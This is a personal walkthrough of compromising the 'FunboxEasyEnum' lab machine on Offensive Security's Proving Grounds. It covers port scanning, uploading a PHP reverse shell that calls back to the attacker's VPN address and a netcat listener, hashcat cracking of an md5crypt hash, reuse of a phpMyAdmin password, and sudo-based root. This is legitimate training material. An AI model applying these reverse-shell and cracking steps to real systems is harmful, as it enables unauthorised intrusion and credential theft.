FunboxEasyEnum Writeup
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# FunboxEasyEnum Writeup

This is my first Offensive Security writeup of a machine on their Proving Grounds platform.
I signed up for the free labs and managed to do 2 easy machines and get this writeup done before the daily 3 hour timer expired.

## Enumeration

Starting with Rustscan with NMAP. I have cleaned up the output to just show the relevant info.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 └─$rustscan -a 192.168.245.132 -u 5000 -- -A -sC -sV .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | | | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | -' -'-----'----' -' ----' ---' -' -'-' -' The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan [~] The config file is expected to be at "/home/mooncake/.rustscan.toml" [~] Automatically increasing ulimit value to 5000. Open 192.168.245.132:22 Open 192.168.245.132:80 [~] Starting Script(s) [>] Script to be run Some("nmap -vvv -p ") [~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-31 07:41 SAST Scanned at 2021-05-31 07:41:48 SAST for 15s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 9c:52:32:5b:8b:f6:38:c7:7f:a1:b7:04:85:49:54:f3 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3a6aFbaxLEn4AMDXmMVZdNfaQuJQ/AcPHffagHb77o1FmSe+6tlCRHMil9l4qJILffRQHkdbQJtrlBk52V35SHfPp8x89B+Pfv7slkKxXE7fkZBIJuUjHF+YAoSakOtY72d7o6Bet2AwCijSBzZ1bkVC4i/L9euG2Oul5oA2iFlnzwYjrhki6MFNFJvvyoOqcJr1zS+w4W0NO1RexielQsxeUG3khrfVYts5kWFQPr39tk52zRZ/gpAKjR00XN4N5mi/mBjvvgnlVX4DNeyxh5r+E5sdLGzJ0Vk8JzjDW7eK70kv2KmVCFSJNceUjfaIV+K4z9wFoy6qZte7MxhaV | 256 d6:13:56:06:15:36:24:ad:65:5e:7a:a1:8c:e5:64:f4 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoJi5En616tTVEM4UoE0AVaXFn6+Rhike29q/pKZh5nIPQfNr9jqz2II9iZ5NZCPwsjp3QrsmTdzGwqUbjMe0c= | 256 1b:a9:f3:5a:d0:51:83:18:3a:23:dd:c4:a9:be:59:f0 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO+CVl8CiYP8L+ni0CvmpS7ywOiJU62E3O6L8G2n/Yov 80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.17 seconds  With only ports 22 and 80 open we fire up Feroxbuster and find the following: We found http://192.168.145.132/mini.php Browsing to it and I see you can upload files. ## Foothold We grab the php-reverse-shell.php on our Kali machine and rename it to shell.php 1 -$ cp /usr/share/webshells/php/php-reverse-shell.php shell.php 

We change the following in the file to match our VPN ip as well as the port we are going to use to listen on for a reverse shell.

1 2 $ip = '192.168.49.245'; // CHANGE THIS$port = 9998; // CHANGE THIS 

In another terminal we start a netcat listener.

1 2 $nc -lvnp 9998 listening on [any] 9998 ...  We then browse back to http://192.168.245.132/mini.php and upload the shell.php Once uploaded, it showed up in the list. We now have to change the permissions to execute otherwise the webserver will not be able to execute the php file to run our reverse shell. We changed the permissions to 0777. Drastic I know. Once done, browse to http://192.168.245.132/shell.php We then received the shell in our netcat listener window. ## local flag We first have to get an interactive shell, so we use the python method. 1 2$ python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@funbox7:/\$ 

We browse to the www-data home directory and see the following.

The proof.txt file! Easy win without having to enumerate anywhere else on the machine.

Unfortunately we are only www-data and still need to get to root.

## User Escalation

Let us see what users are on the machine.

We find a hash for the oracle user.
Let’s identify the type of hash.

Let us check hashcat examples to verify.
As we can see it’s a md5Crypt hash.

Let’s crack it.

1 hashcat -m 500 oracle.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt 

Hash cracked.
We try to ssh as the oracle user but this didn’t work but doing a su to the user worked.
We upload LinPEAS.sh to find anything useful.

LinPEAS didn’t give much but we did find the following users and only the user karla was interesting as this user seems to have much more access on the system than the others.

Further enumeration was needed. I remembered seeing phpMyAdmin from Feroxbuster. I searched for phpMyAdmin config file and found the following.

Could this password be reused for karla? One way to try.

Success.

## Priviledge Escalation

As we saw the user karla was part of the sudoers group, we immediately check what sudo commands can be run.

Seems like karla is allowed to run all commands on the system while using sudo.
We can simply just get a bash shell by running the following.

## proof flag

Let’s go check the root directory for the loot.